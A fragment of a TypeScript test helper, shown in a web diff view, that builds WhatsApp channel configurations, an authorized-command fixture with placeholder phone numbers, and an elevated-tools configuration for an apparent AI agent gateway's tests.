workspace: path.join(home, "openclaw"),
|
||||
...defaults,
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: sessionStorePath(home) },
|
||||
...extra,
|
||||
};
|
||||
}
|
||||
|
||||
export const AUTHORIZED_WHATSAPP_COMMAND = {
|
||||
From: "+1222",
|
||||
To: "+1222",
|
||||
Provider: "whatsapp",
|
||||
SenderE164: "+1222",
|
||||
CommandAuthorized: true,
|
||||
} as const;
|
||||
|
||||
export function makeElevatedDirectiveConfig(home: string) {
|
||||
return makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
elevatedDefault: "on",
|
||||
},
|
||||
{
|
||||
tools: {
|
||||
elevated: {
|
||||
allowFrom: { whatsapp: ["+1222"] },
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["+1222"] } },
|
||||
session: { store: sessionStorePath(home) },
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
export function assertModelSelection(
|
||||
storePath: string,
|
||||
selection: { model?: string; provider?: string } = {},
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user